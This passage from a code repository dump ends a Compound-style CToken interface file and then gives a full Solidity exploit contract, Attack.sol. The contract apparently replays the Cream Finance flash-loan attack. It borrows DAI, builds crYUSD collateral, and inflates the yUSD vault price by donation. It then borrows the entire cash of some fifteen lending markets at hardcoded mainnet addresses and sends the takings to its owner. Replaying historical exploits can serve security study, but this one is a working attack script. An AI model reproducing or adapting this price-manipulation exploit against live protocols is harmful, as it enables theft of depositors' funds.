indexed to, uint amount); 200 | 201 | /** 202 | * @notice EIP20 Approval event 203 | */ 204 | event Approval(address indexed owner, address indexed spender, uint amount); 205 | 206 | /** 207 | * @notice Failure event 208 | */ 209 | event Failure(uint error, uint info, uint detail); 210 | 211 | 212 | /*** User Interface ***/ 213 | 214 | function transfer(address dst, uint amount) external virtual returns (bool); 215 | function transferFrom(address src, address dst, uint amount) external virtual returns (bool); 216 | function approve(address spender, uint amount) external virtual returns (bool); 217 | function allowance(address owner, address spender) external virtual view returns (uint); 218 | function balanceOf(address owner) external virtual view returns (uint); 219 | function balanceOfUnderlying(address owner) external virtual returns (uint); 220 | function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint); 221 | function borrowRatePerBlock() external virtual view returns (uint); 222 | function supplyRatePerBlock() external virtual view returns (uint); 223 | function totalBorrowsCurrent() external virtual returns (uint); 224 | function borrowBalanceCurrent(address account) external virtual returns (uint); 225 | function borrowBalanceStored(address account) public virtual view returns (uint); 226 | function exchangeRateCurrent() public virtual returns (uint); 227 | function exchangeRateStored() public virtual view returns (uint); 228 | function getCash() external virtual view returns (uint); 229 | function accrueInterest() public virtual returns (uint); 230 | function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); 231 | 232 | 233 | /*** Admin Functions ***/ 234 | 235 | function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint); 236 | function _acceptAdmin() external virtual returns (uint); 237 | function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint); 238 | function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint); 239 | function _reduceReserves(uint reduceAmount) external virtual returns (uint); 240 | function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint); 241 | } 242 | 243 | contract CErc20Storage { 244 | /** 245 | * @notice Underlying asset for this CToken 246 | */ 247 | address public underlying; 248 | } 249 | 250 | abstract contract CErc20Interface is CErc20Storage { 251 | 252 | /*** User Interface ***/ 253 | 254 | function mint(uint mintAmount) external virtual returns (uint); 255 | function redeem(uint redeemTokens) external virtual returns (uint); 256 | function redeemUnderlying(uint redeemAmount) external virtual returns (uint); 257 | function borrow(uint borrowAmount) external virtual returns (uint); 258 | function repayBorrow(uint repayAmount) external virtual returns (uint); 259 | function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint); 260 | function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint); 261 | 262 | 263 | /*** Admin Functions ***/ 264 | 265 | function _addReserves(uint addAmount) external virtual returns (uint); 266 | } 267 | 268 | contract CDelegationStorage { 269 | /** 270 | * @notice Implementation address for this contract 271 | */ 272 | address public implementation; 273 | } 274 | 275 | abstract contract CDelegatorInterface is CDelegationStorage { 276 | /** 277 | * @notice Emitted when implementation is changed 278 | */ 279 | event NewImplementation(address oldImplementation, address newImplementation); 280 | 281 | /** 282 | * @notice Called by the admin to update the implementation of the delegator 283 | * @param implementation_ The address of the new implementation for delegation 284 | * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation 285 | * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation 286 | */ 287 | function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual; 288 | } 289 | 290 | abstract contract CDelegateInterface is CDelegationStorage { 291 | /** 292 | * @notice Called by the delegator on a delegate to initialize it for duty 293 | * @dev Should revert if any issues arise which make it unfit for delegation 294 | * @param data The encoded bytes data for any initialization 295 | */ 296 | function _becomeImplementation(bytes memory data) public virtual; 297 | 298 | /** 299 | * @notice Called by the delegator on a delegate to forfeit its responsibility 300 | */ 301 | function _resignImplementation() public virtual; 302 | } -------------------------------------------------------------------------------- /contracts/Attack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8; 2 | 3 | import "@openzeppelin/contracts/access/Ownable.sol"; 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | import "./Brother.sol"; 6 | import "./interfaces/IERC3156FlashBorrower.sol"; 7 | import "./interfaces/IERC3156FlashLender.sol"; 8 | import "./interfaces/IyDAI.sol"; 9 | import "./interfaces/IySwap.sol"; 10 | import "./interfaces/IyUSD.sol"; 11 | import "./interfaces/IcrYUSD.sol"; 12 | import "./interfaces/IcrETH.sol"; 13 | import "./interfaces/IUnitroller.sol"; 14 | import "./interfaces/Uniswap.sol"; 15 | import "./interfaces/IStableSwapCompound.sol"; 16 | import "./interfaces/IYVaultPeak.sol"; 17 | import "./interfaces/IWETH.sol"; 18 | import "./interfaces/IUSDT.sol"; 19 | import "./interfaces/compound/CTokenInterfaces.sol"; 20 | 21 | import "hardhat/console.sol"; 22 | 23 | 24 | contract Attack is Ownable, IERC3156FlashBorrower { 25 | enum Action {NORMAL, OTHER} 26 | 27 | Brother brother; 28 | 29 | IERC3156FlashLender lender = IERC3156FlashLender(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853); 30 | address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 31 | address DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; 32 | uint256 DAI_AMOUNT = 500000000000000000000000000; // amount for flash borrow 33 | 34 | address yDAI = 0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01; 35 | address ySwap = 0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51; 36 | // Curve Y Pool yUSD (yUSD) 37 | address yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3; 38 | // Curve.fi yDAI/yUSDC/yUSDT/yTUSD 39 | address fourYPool = 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8; 40 | // Cream yUSD 41 | address crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4; 42 | address DUSD = 0x5BC25f649fc4e26069dDF4cF4010F9f706c23831; 43 | // Curve DUSD MetaPool. 3Pool to allow swaps between DUSD / DAI / USDC / USDT 44 | address DUSDPool = 0x8038C01A0390a8c547446a0b2c18fc9aEFEcc10c; 45 | address crETH = 0xD06527D5e56A3495252A528C4987003b712860eE; 46 | address crCRETH2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2; 47 | address crXSUSHI = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; 48 | address XSUSHI = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; 49 | address crWNXM = 0xeFF039C3c1D668f408d09dD7B63008622a77532C; 50 | address WNXM = 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE; 51 | address crPERP = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B; 52 | address PERP = 0xbC396689893D065F41bc2C6EcbeE5e0085233447; 53 | address crRUNE = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41; 54 | address RUNE = 0x3155BA85D5F96b2d030a4966AF206230e46849cb; 55 | address crDPI = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D; 56 | address DPI = 0x1494CA1F11D487c2bBe4543E90080AeBa4BA3C2b; 57 | address crUNI = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7; 58 | address UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; 59 | address crUSDC = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322; 60 | address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 61 | address crFEI = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91; 62 | address FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA; 63 | address crUSDT = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157; 64 | address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7; 65 | address crYVCurvestETH = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284; 66 | address YVCurvestETH = 0xdCD90C7f6324cfa40d7169ef80b12031770B4325; 67 | address crGNO = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E; 68 | address GNO = 0x6810e776880C02933D47DB1b9fc05908e5386b96; 69 | address crFTT = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db; 70 | address FTT = 0x50D1c9771902476076eCFc8B2A83Ad6b9355a4c9; 71 | address crYGG = 0x4112a717edD051F77d834A6703a1eF5e3d73387F; 72 | address YGG = 0x25f8087EAD173b73D6e8B84329989A8eEA16CF73; 73 | 74 | // Unitroller 75 | address UnitrollerAddress = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258; 76 | address UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564; 77 | address YVaultPeakProxy = 0xA89BD606d5DadDa60242E8DEDeebC95c41aD8986; 78 | 79 | modifier onlyBrother { 80 | require(msg.sender == address(brother), "Not my brother"); 81 | _; 82 | } 83 | 84 | fallback () external payable {} 85 | 86 | receive () external payable {} 87 | 88 | function start(Brother _brother) external onlyOwner { 89 | brother = _brother; 90 | 91 | flashBorrow(DAI, DAI_AMOUNT); 92 | moveFunds(); 93 | 94 | console.log('gg cream!'); 95 | } 96 | 97 | function flashBorrow(address token, uint amount) internal { 98 | // bytes memory data = abi.encode(Action.NORMAL); 99 | uint256 _allowance = IERC20(token).allowance(address(this), address(lender)); 100 | uint256 _fee = lender.flashFee(token, amount); 101 | uint256 _repayment = amount + _fee; 102 | IERC20(token).approve(address(lender), _allowance + _repayment); 103 | lender.flashLoan(this, token, amount, ""); 104 | } 105 | 106 | function onFlashLoan( 107 | address initiator, 108 | address token, 109 | uint amount, 110 | uint fee, 111 | bytes calldata data 112 | ) external override returns (bytes32) { 113 | require(msg.sender == address(lender), "FlashBorrower: Untrusted lender"); 114 | require(initiator == address(this), "FlashBorrower: Untrusted loan initiator"); 115 | 116 | attack(); 117 | 118 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 119 | 120 | } 121 | 122 | function attack() internal { 123 | // Swap DAI for yDAI 124 | IERC20(DAI).approve(yDAI, DAI_AMOUNT); 125 | IyDAI(yDAI).deposit(DAI_AMOUNT); 126 | uint yDaiBalance = IERC20(yDAI).balanceOf(address(this)); 127 | 128 | // Swap yDAI for fourYPool 129 | IERC20(yDAI).approve(ySwap, yDaiBalance); 130 | uint256[4] memory amounts = [yDaiBalance, 0, 0, 0]; 131 | IySwap(ySwap).add_liquidity(amounts, 0); 132 | uint fourYPoolBalance = IERC20(fourYPool).balanceOf(address(this)); 133 | 134 | // Swap fourYPool for yUSD 135 | IERC20(fourYPool).approve(yUSD, fourYPoolBalance); 136 | IyUSD(yUSD).deposit(fourYPoolBalance); 137 | uint yUSDBalance = IERC20(yUSD).balanceOf(address(this)); 138 | 139 | // Swap yUSD for crYUSD 140 | IERC20(yUSD).approve(crYUSD, yUSDBalance); 141 | IcrYUSD(crYUSD).mint(yUSDBalance); 142 | // console.log('crYUSD balance %s',IERC20(crYUSD).balanceOf(address(this))); 143 | 144 | // Use crYUSD as collateral 145 | address[] memory cTokens = new address[](1); 146 | cTokens[0] = crYUSD; 147 | IUnitroller(UnitrollerAddress).enterMarkets(cTokens); 148 | 149 | brother.flashLoanAAVE(); 150 | // brother contract will execute continueAttack function 151 | 152 | // burn 4pool tokens for yDAI 153 | fourYPoolBalance = IERC20(fourYPool).balanceOf(address(this)); 154 | uint yDaiOut = 445331495265152128661273376; // how to get this number? 99% of fourYPoolBalance? 155 | amounts = [yDaiOut, 0, 0, 0]; 156 | IySwap(ySwap).remove_liquidity_imbalance(amounts, fourYPoolBalance); 157 | // swap yDAI for DAI 158 | IyDAI(yDAI).withdraw(IERC20(yDAI).balanceOf(address(this))); 159 | 160 | // swap some USDC to DAI to pay back loan 161 | uint DAIToBuy = DAI_AMOUNT - IERC20(DAI).balanceOf(address(this)); 162 | ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({ 163 | tokenIn: USDC, 164 | tokenOut: DAI, 165 | fee: 500, 166 | recipient: address(this), 167 | deadline: type(uint).max, 168 | amountInMaximum: type(uint).max, 169 | amountOut: DAIToBuy, 170 | sqrtPriceLimitX96: 0 171 | }); 172 | IERC20(USDC).approve(UNISWAP_V3_ROUTER, type(uint).max); 173 | ISwapRouter(UNISWAP_V3_ROUTER).exactOutputSingle(params); 174 | 175 | // loan with automatically get repaid 176 | } 177 | 178 | function continueAttack() external onlyBrother { 179 | // Brother contract have transferred ~1B crYUSD and ~500M yUSD 180 | uint DUSDPOOlBalance = IERC20(DUSD).balanceOf(DUSDPool); 181 | uint USDCAmountToBuy = 7453002766252; // how was this number computed? dusd * 2? 182 | ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({ 183 | tokenIn: WETH, 184 | tokenOut: USDC, 185 | fee: 3000, 186 | recipient: address(this), 187 | deadline: type(uint).max, 188 | amountInMaximum: type(uint).max, 189 | amountOut: USDCAmountToBuy, 190 | sqrtPriceLimitX96: 0 191 | }); 192 | IERC20(WETH).approve(UNISWAP_V3_ROUTER, type(uint).max); 193 | ISwapRouter(UNISWAP_V3_ROUTER).exactOutputSingle(params); 194 | IERC20(USDC).approve(DUSDPool, type(uint).max); 195 | IStableSwapCompound(DUSDPool).exchange_underlying(2, 0, USDCAmountToBuy / 2, 0); 196 | DUSDPOOlBalance = IERC20(DUSD).balanceOf(DUSDPool); 197 | uint myDUSDBalance = IERC20(DUSD).balanceOf(address(this)); 198 | 199 | IYVaultPeak(YVaultPeakProxy).redeemInYusd(myDUSDBalance, 0); 200 | IyUSD(yUSD).withdraw(); 201 | uint totalAssets = IyUSD(yUSD).totalAssets(); 202 | // Here is the exploit: donate double existing amount yUSD to yUSD Vault. 203 | // This doubles the value of yUSD so crYUSD collateral have doubled in value 204 | IERC20(fourYPool).transfer(yUSD, totalAssets); 205 | 206 | // Begin stealing funds 207 | 208 | // borrow all ETH using crETH as collateral 209 | uint ethBalance = crETH.balance; 210 | IcrETH(crETH).borrow(ethBalance); 211 | // convert to WETH 212 | IWETH(WETH).deposit{value: ethBalance}(); 213 | 214 | // send all WETH to brother contract so it can pay back flashloan 215 | IERC20(WETH).transfer(address(brother), IERC20(WETH).balanceOf(address(this))); 216 | 217 | // borrow crCRETH2 218 | uint balance = CTokenInterface(crCRETH2).getCash(); 219 | CErc20Interface(crCRETH2).borrow(balance); 220 | 221 | // borrow crXSUSHI 222 | balance = CTokenInterface(crXSUSHI).getCash(); 223 | CErc20Interface(crXSUSHI).borrow(balance); 224 | 225 | // borrow crXSUSHI 226 | balance = CTokenInterface(crWNXM).getCash(); 227 | CErc20Interface(crWNXM).borrow(balance); 228 | 229 | // borrow crPERP 230 | balance = CTokenInterface(crPERP).getCash(); 231 | CErc20Interface(crPERP).borrow(balance); 232 | 233 | // borrow crRUNE 234 | balance = CTokenInterface(crRUNE).getCash(); 235 | CErc20Interface(crRUNE).borrow(balance); 236 | 237 | // borrow crDPI 238 | balance = CTokenInterface(crDPI).getCash(); 239 | CErc20Interface(crDPI).borrow(balance); 240 | 241 | // borrow crUNI 242 | balance = CTokenInterface(crUNI).getCash(); 243 | CErc20Interface(crUNI).borrow(balance); 244 | 245 | // borrow crUSDC 246 | balance = CTokenInterface(crUSDC).getCash(); 247 | CErc20Interface(crUSDC).borrow(balance); 248 | 249 | // borrow crFEI 250 | balance = CTokenInterface(crFEI).getCash(); 251 | CErc20Interface(crFEI).borrow(balance); 252 | 253 | // borrow crUSDT 254 | balance = CTokenInterface(crUSDT).getCash(); 255 | CErc20Interface(crUSDT).borrow(balance); 256 | 257 | // borrow crYVCurve-stETH 258 | balance = CTokenInterface(crYVCurvestETH).getCash(); 259 | CErc20Interface(crYVCurvestETH).borrow(balance); 260 | 261 | // borrow crGNO 262 | balance = CTokenInterface(crGNO).getCash(); 263 | CErc20Interface(crGNO).borrow(balance); 264 | 265 | // borrow crFTT 266 | balance = CTokenInterface(crFTT).getCash(); 267 | CErc20Interface(crFTT).borrow(balance); 268 | 269 | // borrow crYGG 270 | balance = CTokenInterface(crYGG).getCash(); 271 | CErc20Interface(crYGG).borrow(balance); 272 | } 273 | 274 | function moveFunds() internal { 275 | IERC20(USDC).transfer(owner(), IERC20(USDC).balanceOf(address(this))); 276 | IERC20(fourYPool).transfer(owner(), IERC20(fourYPool).balanceOf(address(this))); 277 | IERC20(XSUSHI).transfer(owner(), IERC20(XSUSHI).balanceOf(address(this))); 278 | IERC20(WNXM).transfer(owner(), IERC20(WNXM).balanceOf(address(this))); 279 | IERC20(PERP).transfer(owner(), IERC20(PERP).balanceOf(address(this))); 280 | IERC20(RUNE).transfer(owner(), IERC20(RUNE).balanceOf(address(this))); 281 | IERC20(DPI).transfer(owner(), IERC20(DPI).balanceOf(address(this))); 282 | IERC20(UNI).transfer(owner(), IERC20(UNI).balanceOf(address(this))); 283 | IERC20(USDC).transfer(owner(), IERC20(crUSDC).balanceOf(address(this))); 284 | IERC20(FEI).transfer(owner(), IERC20(FEI).balanceOf(address(this))); 285 | IUSDT(USDT).transfer(owner(), IERC20(USDT).balanceOf(address(this))); // transfer has no return 286 | IERC20(YVCurvestETH).transfer(owner(), IERC20(YVCurvestETH).balanceOf(address(this))); 287 | IERC20(GNO).transfer(owner(), IERC20(GNO).balanceOf(address(this))); 288 | IERC20(FTT).transfer(owner(), IERC20(FTT).balanceOf(address(this))); 289 | IERC20(YGG).transfer(owner(), IERC20(YGG).balanceOf(address(this))); 290 | } 291 | } --------------------------------------------------------------------------------